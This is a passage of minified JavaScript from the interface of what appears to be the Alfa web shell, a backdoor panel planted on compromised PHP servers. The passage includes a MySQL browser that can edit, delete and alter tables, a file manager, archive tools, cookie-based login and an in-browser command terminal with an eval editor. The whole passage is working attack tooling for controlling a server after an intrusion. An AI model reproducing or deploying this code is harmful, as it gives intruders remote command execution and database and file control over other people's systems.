value=\'LIKE %...%\'>LIKE %...%</option><option value=\'NOT LIKE\'>NOT LIKE</option><option value=\'REGEXP\'>REGEXP</option><option value=\'REGEXP ^...$\'>REGEXP ^...$</option><option value=\'NOT REGEXP\'>NOT REGEXP</option><option value=\'IN (...)\'>IN (...)</option><option value=\'NOT IN (...)\'>NOT IN (...)</option><option value=\'BETWEEN\'>BETWEEN</option><option value=\'NOT BETWEEN\'>NOT BETWEEN</option><option value=\'IS NULL\'>IS NULL</option><option value=\'IS NOT NULL\'>IS NOT NULL</option></select></td><td><input type=\'"+p+"\' name=\'"+e.columns[u].name+"\'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td><select name=\'sel_"+e.columns[u].name+"\'>"+f+"</select></td><td><input name=\'value_"+e.columns[u].name+"\' type=\'text\' value=\'"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"\'></td><td><button col_name=\'"+e.columns[u].name+"\' tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlAlterTbl(this);return false;\'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name=\'"+e.columns[u].name+"\' rows=\'5\'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type=\'number\' name=\'"+e.columns[u].name+"\' value=\'\'>";break;default:m="<input type=\'text\' name=\'"+e.columns[u].name+"\' value=\'\'>"}r+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style=\'margin-left:20px;\'><button tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlUpdateRow(this, \"insert\");return false;\'>Insert</button></div><div class=\'mysql-insert-result\'></div>",o+="</table><div class=\'mysql-structure-qres\'></div>",n+="</table><div style=\'padding-left: 384px;margin-top: 15px;\'><button tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlSearch(this);return false;\'>Search</button></div>",e.pages>0){l+="<span style=\'cursor:pointer;\' db_id=\'"+i+"\' onclick=\'alfaMysqlChangePage(this,1);\'><<</span> <span> page: </span> <select tbl_name=\'"+t+"\' db_target=\'"+a+"\' name=\'mysql-q-pages\' db_id=\'"+i+"\' class=\'db-opt-id\' onchange=\'alfaMysqlChangePage(this);\' pages=\'"+e.pages+"\'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style=\'cursor:pointer;\' db_id=\'"+i+"\' onclick=\'alfaMysqlChangePage(this,2);\'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name=\'"+e[c].col+"\' rows=\'5\'>"+e[c].value+"</textarea>";break;case"input":u="<input type=\'"+e[c].type.type+"\' name=\'"+e[c].col+"\' value=\'"+e[c].value+"\'>"}s+="<tr><th style=\'text-align: left;\'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style=\'margin-left:20px;\'><button col_key=\'"+l+"\' key=\'"+r+"\' tbl_name=\'"+o+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlUpdateRow(this, \"edit\");return false;\'>Update</button></div><div class=\'mysql-update-result\'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\[\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\[\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\[\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+=\'<optgroup label="\'+t[l].key+\'">\',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw\'"msg parameter is empty"\';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",\'<div id="\'+i+\'" class="sql-content sql-active-content">\'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",\'<div id="tab_\'+i+\'" opt_id="\'+i+\'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="\'+i+\'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>\'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",\'<div id="\'+o+\'" class="options_holder">\'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",\'<div opt_id="\'+o+\'" onclick="optionsTabController(this);" title="\'+l+\'" id="tab_\'+o+\'" class="tab_name tab_is_active">\'+l+\' <img opt_id="\'+o+\'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",\'alfaBeforeDoAction("\'+e+i+\'");\'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",\'alfaBeforeDoAction("\'+e+i+\'");\'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",\'alfaBeforeDoAction("\'+e+\'");\'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",\'alfaBeforeDoAction("\'+e+\'");\'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab 	.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",\'<div id="\'+i+\'" class="terminal-content\'+t+\'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\'\'+i+\'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\'\'+i+"\',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,\'"+i+\'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="\'+i+\'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\'\'+i+\'\');" term_id="\'+i+\'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="\'+i+\'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="\'+i+\'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>\');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",\'<div onclick="terminalTabController(this);" term_id="\'+i+\'" id="tab_\'+i+\'" class="terminal-tab\'+a+\'">Terminal <img term_id="\'+i+\'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",\'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>\'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector(\'#"+i+\' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">\'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var 